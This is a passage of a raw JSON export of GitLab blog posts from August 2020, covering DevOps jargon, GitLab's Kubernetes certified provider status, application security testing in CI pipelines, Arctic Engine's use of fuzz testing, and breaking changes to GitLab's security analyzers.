}",{"title":22123,"description":22124,"authors":22129,"heroImage":22125,"date":22130,"body":22131,"category":8943,"tags":22132},[11618],"2020-08-25","\n\nYou call yourself a [DevOps professional](/topics/devops/build-a-devops-team/) but do you know the definitions of yak shaving, Yoda conditions or baklava code?\n\nWe didn’t think so.\n\n## Benefits of DevOps\n\nDevOps outpaces the old software development methodologies like waterfall simply because it’s more efficient. Here are eight obvious DevOps wins:\n\n* Deployment is faster\n\n* Product quality is better\n\n* Automation simplifies the whole process\n\n* There’s flexible, continuous delivery\n\n* Scalability is even easier to achieve\n\n* Teams are transparent and communicative\n\n* There are faster fixes for bugs and other problems\n\n* It gives space to constantly iterate\n\nRegardless of your role on a business or a technical side, there are DevOps benefits for everyone.\n\n## DevOps terms and team communication\n\nA basic understanding of DevOps terms is important when it comes to optimal team communication. Otherwise, there are a lot of blank, blinking faces in the crowd. But even more important than simply understanding the terminology is consciously practicing good communication about DevOps and iterating on your team’s communication style.\n\nNew ideas, tools, and processes are constantly cropping up in the DevOps space, which means there is new terminology to learn. Great team communication involves continuously helping each other keep up with new knowledge and ensuring an environment of continuous learning.\n\n## DevOps terms glossary\n\nHere’s a look at our [DevOps](/topics/devops/) glossary with a focus on 10 DevOps terms even seasoned pros might not have encountered. And if you think there are some obscure ones we missed, please tell us about it [here](https://gitlab.com/gitlab-com/www-gitlab-com/-/issues/8878). We are working on a comprehensive GitLab guide to DevOps terms.\n\n### Devops term 1: Baklava code\n\n[Baklava](https://en.wikipedia.org/wiki/Baklava) is a dessert made up of many layers of thin phyllo dough – which is notoriously difficult to work with. Baklava code is the same: Lots of thin layers of code which makes it too fragile to stand up to real world use.\n\n### DevOps term 2: Dark launch\n\nA dark launch usually refers to a partial or incomplete release of a feature or features without any announcement. This under-the-radar release is a way to gather performance and testing data without the pressure of public input, because the features haven’t actually been talked about.\n\n### DevOps term 3: Dead code\n\nCode is considered \"dead\" if it lives in a program but actually doesn’t do anything and/or contribute to results or performance. Generally [dead code should be removed](https://refactoring.guru/smells/dead-code) as it’s a potential waste of space and computational power.\n\n### DevOps term 4: Everything-as-code\n\nEverything-as-code takes [infrastructure-as-code](https://searchitoperations.techtarget.com/definition/Infrastructure-as-Code-IAC) and goes one step further: Literally everything is treated as code including the infrastructure, virtual machines, and deployment configuration, to name a few. Everything-as-code is made possible by cloud native, proponents of it say it boosts traceability, repeatability, and testing. \n\n### DevOps term 5: Fear-driven development\n\nForget [FOMO](https://www.urbandictionary.com/define.php?term=Fomo), fear-driven development is what happens when project managers raise the stakes by moving up deadlines or laying people off. \n\n### DevOps term 6: NoOps\n\nIt’s DevOps without the \"Ops\" or what could happen if automation eliminates traditional ops tasks. Some see NoOps as the highest evolution of a successful DevOps practice while others don’t see it that way at all. NoOps joins a slew of other Ops-related terms including [GitOps](https://thenewstack.io/what-is-gitops-and-why-it-might-be-the-next-big-thing-for-devops/), [CIOps](https://dzone.com/articles/kubernetes-anti-patterns-lets-do-gitops-not-ciops), and more.\n\n### DevOps term 7: Rubberducking\n\nThis novel way of debugging code was made famous in the book [The Pragmatic Programmer](https://www.amazon.com/Pragmatic-Programmer-journey-mastery-Anniversary/dp/0135957052/ref=sr_1_1?dchild=1&keywords=the+pragmatic+programmer&qid=1598365813&sr=8-1). A programmer carries around a rubber duck and discovers that by explaining the code to the duck, line by line, the errors made themselves obvious. Translated for the real world, and practiced at GitLab, it means talking through your code with another developer which helps make flaws or logical errors more obvious.\n\n### DevOps term 8: Spaghetti code\n\nIf someone tells you your code is like spaghetti don’t take it as a compliment. Spaghetti code is all over the map, often with too many [GOTO statements](https://www.geeksforgeeks.org/goto-statement-in-c-cpp/). It’s poorly organized and often lacks any kind of traditional structure. \n\n### DevOps term 9: Yak shaving\n\nDuring a global pandemic when many are working from home, it’s safe to assume yak shaving is happening frequently, and it’s definitely a term that is used [outside of programming](https://americanexpress.io/yak-shaving/). In general, it means doing something that leads to something else but has nothing to do with the original goal. Programmers use it to refer to interminable tasks that must be done before a project can move forward, as in, \"I’ll get to that once I’ve shaved the yak.\"\n\n### DevOps term 10: Yoda conditions\n\n*Code you I will Luke Skywalker.* Yoda conditions refers to non-traditionally written code, i.e., code written as [Yoda](https://starwars.fandom.com/wiki/Yoda) speaks. Once you put yourself in the mindset it’s possible to understand what you’re looking at, but, just like Luke Skywalker experienced, it can take a while to get the hang of this.\n\n_Some of these are terms in use at GitLab, but in our research we stumbled across [the Coding Horror blog](https://blog.codinghorror.com/new-programming-jargon/) created by Jeff Atwood and we found a few new-to-us terms including Yoda conditions. Jeff refers to his list as the \"top 30 Stack Overflow new programming jargon entries.\"_\n\n## Growth of a DevOps culture\n\nA DevOps culture doesn’t grow simply because an organization decides to implement it. It takes daily, focused effort and cultivation. Some things organizations can do to foster the growth of a DevOps culture are to keep leadership in the loop, openly communicate across the team, and create a roadmap of shared goals and individual responsibilities to help achieve them. Understanding the lingo helps too!\n\nCover image by [Raphael Schaller](https://unsplash.com/@raphaelphotoch) on [Unsplash](https://unsplash.com)\n{: .note}\n",[4103,676,1444],{"slug":22134,"featured":6,"template":678},"ten-devops-terms","content:en-us:blog:ten-devops-terms.yml","Ten Devops Terms","en-us/blog/ten-devops-terms.yml","en-us/blog/ten-devops-terms",{"_path":22140,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22141,"content":22147,"config":22153,"_id":22155,"_type":16,"title":22156,"_source":17,"_file":22157,"_stem":22158,"_extension":20},"/en-us/blog/gitlab-achieves-kcsp-status",{"title":22142,"description":22143,"ogTitle":22142,"ogDescription":22143,"noIndex":6,"ogImage":22144,"ogUrl":22145,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22145,"schema":22146},"GitLab achieves CNCF Kubernetes certified provider status","GitLab is all-in on cloud native and now that we're CNCF Certified Service Providers we'll be able to help other companies do the same.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681517/Blog/Hero%20Images/kubernetes-certified-service-provider-blog-cover.png","https://about.gitlab.com/blog/gitlab-achieves-kcsp-status","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"It's official: GitLab has achieved CNCF Kubernetes Certified Provider status\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vick Kelkar\"}],\n        \"datePublished\": \"2020-08-24\",\n      }",{"title":22148,"description":22143,"authors":22149,"heroImage":22144,"date":22150,"body":22151,"category":736,"tags":22152},"It's official: GitLab has achieved CNCF Kubernetes Certified Provider status",[12075],"2020-08-24","\n\nGitLab is pleased to announce that we are now a Kubernetes Certified Service Provider (KCSP). KCSP is run by the Cloud Native Computing Foundation (CNCF) in collaboration with the Linux Foundation. The intention behind the KCSP program is to ensure that enterprises get the support they need to roll out applications to production Kubernetes environments. GitLab, through its KCSP status, wants to help organizations to adopt a [cloud native](/topics/cloud-native/) approach for their business objectives.\n\n## Container and Kubernetes Adoption\n\nA recent [CNCF report](https://www.cncf.io/wp-content/uploads/2020/03/CNCF_Survey_Report.pdf) shows that the use of containers in production has jumped from 23% in 2016 to 84% in 2019. According to another [CNCF survey](https://www.cncf.io/blog/2019-cncf-survey-results-are-here-deployments-are-growing-in-size-and-speed-as-cloud-native-adoption-becomes-mainstream/), cloud native technologies have become mainstream and many [CNCF projects](https://cncf.ci/) have adopted GitLab for their project needs. Kubernetes has emerged as the orchestrator of choice for organizations embarking on cloud native initiatives. Kubernetes helps organizations achieve container operational efficiencies and make developer interactions easier with strong API support. A recent [survey of IT professionals](https://blogs.vmware.com/cloudnative/2020/03/11/why-large-organizations-trust-kubernetes/) working at organizations with 1,000 or more employees found that over 50% are running Kubernetes in a production environment. This is creating demand for people who understand how to migrate, deploy, and run containerized applications in a cloud native manner.\n\n## Benefits of GitLab achieving KCSP\n\nAccording to a [451 Research report](https://clients.451research.com/reportaction/98250/Toc), even as the adoption of Kubernetes gains traction in the enterprise and [DevOps](/topics/devops/) personnel leverage Kubeneretes to automate tasks, there is still a skills gap around container administration and orchestration. GitLab, as a KCSP, can provide consulting, training, support, workshops, and professional services to enterprises looking to embrace the Kubernetes cloud native approach. A [survey](https://www.cncf.io/blog/introducing-the-cncf-technology-radar/) conducted by [CNCF End User Community](https://www.cncf.io/people/end-user-community/) shows that enterprise customers were willing to try out GitLab in their production environments. GitLab offers advice to enterprise users who want to run their applications on a container scheduler like Kubernetes. As [the CNCF CTO pointed out](https://www.patreon.com/posts/open-source-is-28808432), GitLab has an open core business model and the roadmaps are public. This allows our customers and community to contribute features back into the GitLab project. GitLab can provide guidance on GitOps, DevOps and DevSecOps approaches to organizations adopting Kubernetes.  Achieving KCSP status allows us to offer trusted advice to our customers and to help enterprises adopt Kubernetes for production workloads.\n\n## What’s next\n\nGitLab, being an open-source minded company, is committed to the success of Kubernetes as an open-source technology. Kubernetes is seeing wide adoption in the industry for scaling and management of containerized workloads. GitLab can help deliver workloads securely onto a Kubernetes cluster. You can run GitLab on Kubernetes using our [helm charts](https://docs.gitlab.com/charts/) as well. Achieving the KCSP milestone shows GitLab’s commitment to grow and support the Kubernetes project and the CNCF community.  \n\nTo learn more about the KCSP program and CNCF program, visit their respective websites at [KCSP](https://www.cncf.io/certification/kcsp/) and [CNCF](https://www.cncf.io/). GitLab believes in a world where everyone can contribute. Open source organizations can learn more about [GitLab for Open Source](/solutions/open-source/). You can learn more about GitLab's Kubernetes partners [here](/resources/downloads/gitlab-partnership-roadmap.pdf).\n",[2509,3949],{"slug":22154,"featured":6,"template":678},"gitlab-achieves-kcsp-status","content:en-us:blog:gitlab-achieves-kcsp-status.yml","Gitlab Achieves Kcsp Status","en-us/blog/gitlab-achieves-kcsp-status.yml","en-us/blog/gitlab-achieves-kcsp-status",{"_path":22160,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22161,"content":22167,"config":22174,"_id":22176,"_type":16,"title":22177,"_source":17,"_file":22178,"_stem":22179,"_extension":20},"/en-us/blog/align-engineering-security-appsec-tests-in-ci",{"title":22162,"description":22163,"ogTitle":22162,"ogDescription":22163,"noIndex":6,"ogImage":22164,"ogUrl":22165,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22165,"schema":22166},"How Developer-Centric AppSec Testing Transforms DevOps Teams","Find and fix security bugs faster by implementing developer-centric application security testing in the CI pipeline. And the bonus? Engineering and security will finally be better aligned.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681513/Blog/Hero%20Images/stackhawk.jpg","https://about.gitlab.com/blog/align-engineering-security-appsec-tests-in-ci","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How developer-centric AppSec testing can dramatically change your DevOps team\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joni Klippert\"}],\n        \"datePublished\": \"2020-08-21\",\n      }",{"title":22168,"description":22163,"authors":22169,"heroImage":22164,"date":22171,"body":22172,"category":734,"tags":22173},"How developer-centric AppSec testing can dramatically change your DevOps team",[22170],"Joni Klippert","2020-08-21","\n\nSoftware development has accelerated dramatically over the past decade. As [DevOps](/topics/devops/) became pervasive, companies went from shipping software monthly to shipping software to production frequently throughout the day. This happened as engineering teams took ownership of the deployment, performance, and resilience of their software. \n\nAnd it has paid off. Companies that have adopted DevOps are deploying software significantly faster, ultimately driving business value as innovation is more rapidly delivered to customers.\n\nSecurity, however, did not keep up. Security teams typically fell into one of two positions - the blocker of frequent deployments or the team perpetually bringing up issues in last month’s work. The need for a shift in the security model is widely known. It was the subject of the [2019 Black Hat Conference keynote](https://www.blackhat.com/us-19/briefings/schedule/index.html#every-security-team-is-a-software-team-now-17280), stats from GitLab’s [2020 Global DevSecOps Survey](https://about.gitlab.com/resources/downloads/2020-devsecops-report.pdf) make this obvious, and we’ve [shared our opinions](https://www.stackhawk.com/blog/application-security-is-broken/) at StackHawk.\n\nI believe there is a solution (or at least a *huge* step in the right direction)... developer-centric [application security](/topics/devsecops/) tooling in the CI pipeline.\n\n## The CI pipeline aligns engineering and security\n\nWhile some in the industry have been debating the term DevSecOps, leading companies have started adopting developer-first security tooling that brings alignment through the CI pipeline. Instrumented correctly, it ensures that security bugs are caught before they hit production and that the fix cycle is drastically shortened.\n\nThe legacy model has security teams running application security tests against production environments. These sort of checks are great if they are your backstop. But if this is the primary way of assessing your application’s security posture, you need to catch up with modern engineering practices. \n\nModern teams are running checks on each microservice that makes up the customer facing application, catching bugs in pipeline, and equipping developers with the information to self serve fixes and triage issues. Fix times are significantly shorter, as developers are still in the context of the code they were working on. By testing microservices vs. the end state application, the underlying bugs are much easier to find and fix. And with developer-centric tooling, developers can fix bugs themselves instead of cycling through siloed internal processes. This structure better aligns each function with their best skill sets. Engineers know the application the best and are most equipped to fix, and security teams are able to focus on strategy instead of Jira ticket creation.\n\nThe key is to get the instrumentation right (read: don’t break the build for stupid stuff).\n\n## Application security tests in CI\n\nThat sounds great in theory, but what does it look like in practice? Getting started is actually more simple than it seems. We suggest adding three application security tests to start:\n\n## Software composition analysis (SCA)\n\nSCA identifies the open source dependencies in your code base and compares that against a database of known security vulnerabilities. Some tools automatically create pull requests to patch outdated libraries. Open source use is exponentially growing, especially with chained dependencies. SCA is incredibly important, but also can be noisy with non-exploitable findings.\n\nSome of the leading vendors in the space are [GitLab](/) and [Snyk](https://snyk.io/), with up and comers like [FOSSA](https://fossa.com/) also worth paying attention to.\n\n## Dynamic application security testing (DAST)\n\nDAST runs security tests against your running application, from localhost to CI to production. The beauty of DAST is that it most closely resembles what an attacker would see, by attacking your running application and reducing false positives. The two things to be sure of as you start testing with DAST is that your scanner is finding all of your paths and API endpoints and that it is able to scan as an authenticated user.\n\nGitLab provides DAST checks for Ultimate tier customers. If you want more robust scanning options and additional functionality to manage and fix bugs, [StackHawk](https://www.stackhawk.com) is the only place to turn (obviously I’m biased here). Other solutions include legacy vendors such as [Rapid7](https://www.rapid7.com/) or open source leader [ZAP](https://www.zaproxy.org/).\n\n## Secrets detection\n\nFinally, you’ll want to ensure that you have detection for leaked secrets in code. This tooling looks for credentials, keys, or other secrets that may have unintentionally been committed to the code base by developers. GitLab includes [secret detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/) in their GitLab Ultimate security tooling.\n\n## Getting started\n\nOftentimes, the thought of adding application security tests to the development workflow feels insurmountable. With a long list of priorities, engineering leadership will sometimes put this off. The reality, however, is that it is not that hard.\n\nAt StackHawk, we see many customers completing their first successful scans within 15 minutes of sign up and instrumentation in CI is literally as easy as adding [a few lines of YAML](https://docs.stackhawk.com/continuous-integration/) to your build.\n\nHere is our recommended playbook of how to get started with AppSec in CI. While this is specific to StackHawk, the principles can be applied to other tools as well.\n\n### Step 1: local testing and config\nAfter signing up and grabbing your API key, start iterating on [configuration](https://docs.stackhawk.com/hawkscan/configuration/) while testing against your application on localhost. This allows you to quickly adjust config and get successful authenticated scans running.\n\n### Step 2: non-blocking CI instrumentation\nAfter you’ve ironed out the configuration locally, add the test to your CI pipeline. At this point, it is strongly recommended to instrument as a non-blocking test so that you can triage any existing findings and smooth out any kinks.\n\n#### Step 3: bug triage - fix critical issues in flight, backlog and discuss the rest\nAfter your first non-blocking CI run, start triaging any initial findings. Any bugs marked as High criticality should likely be fixed with some sense of urgency. Lows and Mediums should be triaged depending on your application and the bugs, either quickly addressed or added to a backlog for review. Existing findings should not be the blocker for you instrumenting checks to ensure that new bugs don’t get shipped to production.\n\n#### Step 4: switch to blocking tests\nAfter ironing out config locally and in CI, and then triaging initial findings, it is time to finalize the roll out. Switch the StackHawk test to blocking mode to ensure that new security bugs don’t hit production. You can set the scanner to break on High or Medium and High, which depends on your business and the nature of the application. With this in place, you can be confident that production-ready applications have been scanned for security.\n\n## Cultural shifts: it is more than CI\nThe CI pipeline is the natural hingepoint to start aligning engineering and security. A cultural shift, however, is absolutely needed. (If you're doubtful about this, here's a frank look at why [dev and sec don't get along](/blog/developer-security-divide/).) Modern engineering teams recognize that delivering a secure application is part of quality engineering. Engineers aren’t comfortable shipping applications with UI bugs, and they shouldn’t accept security holes either. \n\nSecurity, on the other hand, needs to shift from the blocker to speedy development and to the enabler of safety in an environment of high speed delivery. Modern security engineers are ensuring that their teams are working with safe-by-default frameworks, are equipped with developer-centric tooling, and that there are proper integration tests for business logic that can’t be tested by external tooling.\n\nWhile there is significant catch up needed, it is encouraging to see the leading software teams out there testing application security on every build.\n\n## Dig deeper\n\nTo learn more about adding AppSec tests to your CI build, join me at my [How Security Belongs in DevOps](https://sched.co/dUWD) talk at GitLab Commit on August 26th. You can also always sign up for a [free StackHawk trial or demo](https://www.stackhawk.com) or talk to your GitLab sales representative about the security features in GitLab Ultimate. And for the best of both worlds, check out more details on running [automated security testing with StackHawk in GitLab](https://docs.stackhawk.com/continuous-integration/gitlab.html).\n\n_Joni Klippert is founder & CEO of StackHawk, a software-as-a-service company built to help developers find and fix security vulnerabilities in their code. Joni has been building software for developers for more than 10 years, previously serving as VP Product, VictorOps from seed stage to acquisition by Splunk. Joni is a Colorado native and holds an MBA from the University of Colorado. She currently lives in Denver with her fiance Jason and Whippet \"Q\"._\n\nCover image by [Adi Goldstein](https://unsplash.com/@adigold1) on [Unsplash](https://unsplash.com)\n{: .note}\n\n\n\n",[110,2368,4103,674,942,1444],{"slug":22175,"featured":6,"template":678},"align-engineering-security-appsec-tests-in-ci","content:en-us:blog:align-engineering-security-appsec-tests-in-ci.yml","Align Engineering Security Appsec Tests In Ci","en-us/blog/align-engineering-security-appsec-tests-in-ci.yml","en-us/blog/align-engineering-security-appsec-tests-in-ci",{"_path":22181,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22182,"content":22188,"config":22194,"_id":22196,"_type":16,"title":22197,"_source":17,"_file":22198,"_stem":22199,"_extension":20},"/en-us/blog/arctic-engine-fuzz-testing-blog",{"title":22183,"description":22184,"ogTitle":22183,"ogDescription":22184,"noIndex":6,"ogImage":22185,"ogUrl":22186,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22186,"schema":22187},"How Arctic Engine uses GitLab's fuzz testing","Using GitLab's fuzz testing, we discovered and fixed various real defects that could crash our software. Now we can detect vulnerabilities before merging the code.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681504/Blog/Hero%20Images/arcticengine.png","https://about.gitlab.com/blog/arctic-engine-fuzz-testing-blog","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How Arctic Engine uses GitLab's fuzz testing\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Huldra\"}],\n        \"datePublished\": \"2020-08-19\",\n      }",{"title":22183,"description":22184,"authors":22189,"heroImage":22185,"date":22191,"body":22192,"category":18484,"tags":22193},[22190],"Huldra","2020-08-19","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n## About Arctic Engine\n\n[Arctic Engine](https://gitlab.com/huldra/arctic) is an open-source, free game\nengine released under the [MIT license](https://opensource.org/licenses/MIT).\nArctic Engine is implemented in C++ and focuses on simplicity. Being a C++\nprogrammer and making games should not be joyless, disillusioning, and\ndiscouraging. In the '80s and '90s, a programmer could make games alone, and\nit was fun. Arctic Engine aims at making game development in C++ fun again.\n\n## Testing can be fun\n\nTesting the game engine is very important since games are usually no more\nrobust and performant than the underlying middleware or game engine. Writing\ntests by hand is time-consuming and disillusioning, and it may drain the fun\nfrom the development process. So, to my shame, I avoided writing tests in every\nway I could. For instance, I used static analyzers to detect bugs. The problem\nwith static analyzers was the lack of motivation to fix potential issues. You\nmay be unsure whether a bug is really there, and it can sometimes be hard to\nfind a way to trigger it.\n\nThe other possibility was fuzz testing. I heard about fuzzing but didn't try it\nearlier because I thought it was hard to integrate with the project. I could\nnot be more wrong. It's amazing how little effort it takes to get fuzz testing\nup and running with GitLab.\n\n## Fuzz testing and what it exposed\n\nThanks to [Sam Kerr](https://gitlab.com/stkerr) for proving me wrong about\nfuzzing by [actually fuzzing](https://gitlab.com/huldra/arctic/-/commit/946382569d88c3af7f4a7ea075c3c3cb18d3b06b)\nthe sound loader code. Arctic Engine allows loading a sound from a WAV file in\nmemory. To fuzz the loader's code, you create a small CPP file with a single\nfunction like this:\n\n```cpp\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t * data, size_t size) {\n    std::shared_ptr\u003Carctic::SoundInstance> result = arctic::LoadWav(data, size);\n    return 0;\n}\n```\n\nThen you add ``-fsanitize=fuzzer`` flag to the CMakeLists.txt file and a few\nlines to the `.gitlab-ci.yml` file, and the fuzzing begins! You may want to\ndrop in a few WAV files to the corpus folder to help the fuzzer and speed up\nthe process, but that's optional. Ok, it was a little harder than that with the\nArctic Engine because it would output a message and quit upon processing\nunsupported file formats. Still, handling file loading errors this way was a\nbad idea, and I finally had a reason to fix it.\n\nThe fuzzer started crashing Arctic Engine: first, it triggered a signed integer\noverflow, a division by zero, and a buffer overrun. And then, the wave loader\ngot out-of-memory while trying to resample a tiny WAV file with a sampling rate\nof 1 sample per second to 44100 samples per second. Wow.\n\nWhat I liked about fuzzing is that fuzzer actually crashes your program and\nprovides you the input so you can reproduce the crash. And once you've set up\nthe test harness, the entire testing process is fully automated, saving you\ntime and effort. It's like having a personal QA team, you commit your code, and\nin a few minutes, you already have it tests-covered.\n\nThen I fuzzed the CSV and the TGA file parsers and expected to find some bugs\nin the CSV and none in the TGA. What can I say? You may not find bugs where you\nexpect them to be and find bugs where you thought there were none. The TGA\nloader crashed immediately with a buffer overrun. It did not account for files\ncontaining only a valid header but no actual image data after it.\n\n## Plans\n\nI will add a simple HTTP web server and some multiplayer network interaction\ncode to the Arctic Engine. I was putting it off for quite a while now because I\nthought testing would be a pain. Now that I know how easy it is to apply\nGitLab's fuzz testing to any data processing code, I'm very optimistic and\nsomewhat challenged. Like \"Can I make it withstand the fuzzer from the first try?\".\nIt makes writing code fun for me once again.\n\n## Further reading\n\n- [GitLab's coverage-guided fuzz testing documentation](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/#coverage-guided-fuzz-testing)\n- [GitLab's Fuzzing 101 playlist](https://www.youtube.com/playlist?list=PL05JrBw4t0KoYzW1CR-g1rMc9Xgmnhjfe)\n\n### About the guest author\n\nHuldra is a senior videogame programmer by day maintainer of the [Arctic Engine](https://gitlab.com/huldra/arctic) by night. She started it because she wanted a game engine that kept simple things simple and made complex things possible.\n",[110,815,674,942,4772,942],{"slug":22195,"featured":6,"template":678},"arctic-engine-fuzz-testing-blog","content:en-us:blog:arctic-engine-fuzz-testing-blog.yml","Arctic Engine Fuzz Testing Blog","en-us/blog/arctic-engine-fuzz-testing-blog.yml","en-us/blog/arctic-engine-fuzz-testing-blog",{"_path":22201,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22202,"content":22207,"config":22212,"_id":22214,"_type":16,"title":22215,"_source":17,"_file":22216,"_stem":22217,"_extension":20},"/en-us/blog/gitlab-com-13-4-breaking-changes",{"title":22203,"description":22204,"ogTitle":22203,"ogDescription":22204,"noIndex":6,"ogImage":12013,"ogUrl":22205,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22205,"schema":22206},"Upcoming Breaking Changes to Secure Analyzers in GitLab 13.4","Our next release, 13.4, will include narrow breaking changes for our Secure scanning features. Find out how this could affect you and what you need to do.","https://about.gitlab.com/blog/gitlab-com-13-4-breaking-changes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Upcoming GitLab.com narrow breaking changes to Secure Analyzers in GitLab 13.4\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Taylor McCaslin\"}],\n        \"datePublished\": \"2020-08-19\",\n      }",{"title":22208,"description":22204,"authors":22209,"heroImage":12013,"date":22191,"body":22210,"category":674,"tags":22211},"Upcoming GitLab.com narrow breaking changes to Secure Analyzers in GitLab 13.4",[6860],"\n\nWe've spent the first few releases of GitLab 13 with several user-focused improvements to our Static [Application Security Testing (SAST)](/topics/devsecops/) capabilities: \n\n* We made our open-source based SAST analyzers free to use for every GitLab user on all tiers [covering 18 languages/frameworks](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks). \n* We released a new [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/) scan type and a managed CI template. This also added new capabilities like [full history secret detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/#full-history-secret-scan). \n\nWith these changes we've modernized and simplified the way our Security scans work, requiring the deprecation and removal of a few configuration options to improve the security, stability, and speed of our analyzers. \n\nWith these removals, there are a few changes that you should make to your Secure scan configurations to ensure you continue enjoying those capabilities. All of these removals were previously announced as deprecations in the past few release blog posts.  \n\n**These changes will release to GitLab.com as early as August 27th and will be released to self-managed customers with GitLab 13.4 on September 22.** If you have questions or feedback, you can [let us know in this feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/235816).\n\n\n## Removal of Secret Detection Job in SAST CI Template (High Impact)\n\nSince [GitLab 13.1](/releases/2020/06/22/gitlab-13-1-released/#deprecation-of-secret-detection-job-in-sast-configuration), the [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/) CI/CD configuration settings moved to a separate GitLab-provided template and run as a new Secure scan type. This new Secret Detection template is also now [included in Auto DevOps](https://docs.gitlab.com/ee/user/application_security/#security-scanning-with-auto-devops). \n\nIn 13.4 we will remove the [old SAST `secrets-sast` job definition](https://gitlab.com/gitlab-org/gitlab/-/blob/67e235bd5826c160db47bbb8c0dc87e6b9cd7b43/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml#L171) and if you have not switched to the [new Secret Detection template](https://docs.gitlab.com/ee/user/application_security/secret_detection/#configuration) you will not continue to scan for secrets. You can easily transition by adding the new template.\n\nBefore upgrading to GitLab 13.4 we recommend you [add the new Secret Detection template](https://docs.gitlab.com/ee/user/application_security/secret_detection/#configuration) to your `gitlab-ci.yml` file, and then remove the [old SAST `secrets-sast` job definition](https://gitlab.com/gitlab-org/gitlab/-/blob/67e235bd5826c160db47bbb8c0dc87e6b9cd7b43/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml#L171) from the [SAST configuration template](https://docs.gitlab.com/ee/user/application_security/sast/#configuration) in `SAST.gitlab-ci.yml` file. We have made a [video to guide you through the process of transitioning](https://www.youtube.com/watch?v=W2tjcQreDwQ&feature=emb_title) to this new template. \n\n- You can follow [this implementation issue](https://gitlab.com/gitlab-org/gitlab/-/issues/234011) for further details.\n- [Initial deprecation announced in 13.1 (6/22)](/releases/2020/06/22/gitlab-13-1-released/#deprecation-of-secret-detection-job-in-sast-configuration)\n\n\n## Removal of DinD (Medium impact)\n\nTo increase the security and reduce complexity of scans, use of Docker-in-Docker (DinD) in GitLab Secure scanners was [deprecated in 13.0](/releases/2020/05/22/gitlab-13-0-released/#deprecation-of-docker-in-docker-(dind)-for-security-scanners) and is **scheduled for removal in 13.4**. GitLab security products started to use non-DinD mode by default in vendor templates in GitLab 13.0. We encourage customers to update their vendor CI templates to use this new behavior. If you override or use custom [Secure CI templates](https://gitlab.com/gitlab-org/gitlab-foss/-/tree/master/lib/gitlab/ci/templates/Security), you can follow the guides below to disable Docker in Docker (DinD) from your existing job templates: \n \n* [Disabling Docker in Docker for Dependency Scanning (12.10 Documentation)](https://docs.gitlab.com/12.10/ee/user/application_security/dependency_scanning/index.html#disabling-docker-in-docker-for-dependency-scanning)\n* [Disabling Docker in Docker for SAST (12.10 Documentation)](https://docs.gitlab.com/12.10/ee/user/application_security/sast/#disabling-docker-in-docker-for-sast)\n* [Initial deprecation announced in 13.0 (5/22)](/releases/2020/05/22/gitlab-13-0-released/#deprecation-of-docker-in-docker-(dind)-for-security-scanners)\n\n\n## Transition of Secure Analyzers to Linux Alpine image (Low impact)\n\nTo [simplify and modernize](/direction/secure/static-analysis/sast/#whats-next--why) our [GitLab Secure SAST Analyzers](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks), we will transition the [GitLab Bandit Python Analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/bandit) image from Debian Buster to [Alpine Linux](https://alpinelinux.org/about/). This transition will reduce the image size and increase both the speed and security of our analyzer.\n\n    This transition will be backward incompatible though we expect limited impact. If you use a `before_script` to pre-build dependencies for your Python project, you should test this change before upgrading to GitLab 13.4. We will add a new section in the [SAST troubleshooting documentation](https://docs.gitlab.com/ee/user/application_security/sast/#troubleshooting) with more information about this change as we approach 13.4.\n\n- [Initial deprecation annouced in 13.2 (7/22)](/releases/2020/07/22/gitlab-13-2-released/#transitioning-gitlab-bandit-secure-analyzer-os-image)\n\n\n## Transition of TSLint Job to ESLint (Low impact)\n\nThe [recent update of our ESLint Secure analyzer](/releases/2020/07/22/gitlab-13-2-released/#javascript--typescript-sast-analyzer-available-for-all) includes new support for TypeScript which is actively maintained. Since 2019 the [TSLint project has been deprecated](https://palantir.github.io/tslint/) in favor of ESLint. We have now unified these analyzers in [GitLab's ESLint analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/eslint), which renders our TSLint analyzer obsolete. \n      \nIn 13.2 we deprecated the [TSLint Secure analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/tslint) and have removed the [TSLint job definition from the SAST template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml). If you leverage [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) or `include` the [GitLab Secure SAST Template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml) no action is required, as this transition happened automatically when you updated to GitLab 13.2. We recommend that anyone using the TSLint SAST job in a customized CI template to migrate to the [newly updated ESLint Job](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml#L85).\n\nThe next time the SAST job runs after this transition you may see previously present TSLint vulnerabilities being marked as 